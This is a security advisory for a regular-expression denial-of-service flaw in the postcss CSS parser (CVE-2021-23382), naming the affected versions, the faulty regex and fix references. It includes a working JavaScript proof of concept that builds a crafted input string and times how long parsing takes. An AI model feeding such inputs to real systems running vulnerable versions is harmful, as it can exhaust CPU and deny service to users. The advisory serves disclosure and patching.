GHSA-566m-qj78-rww5

Dashboard / Vulnerabilities / GHSA-566m-qj78-rww5

GHSA-566m-qj78-rww5

Summary: Regular Expression Denial of Service in postcss

Details: The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern ```regex \/\*\s* sourceMappingURL=(.*) ``` ### PoC ```js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } ``` ```js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } } ```

References: https://nvd.nist.gov/vuln/detail/CVE-2021-23382, https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956, https://github.com/postcss/postcss/releases/tag/7.0.36, https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641, https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640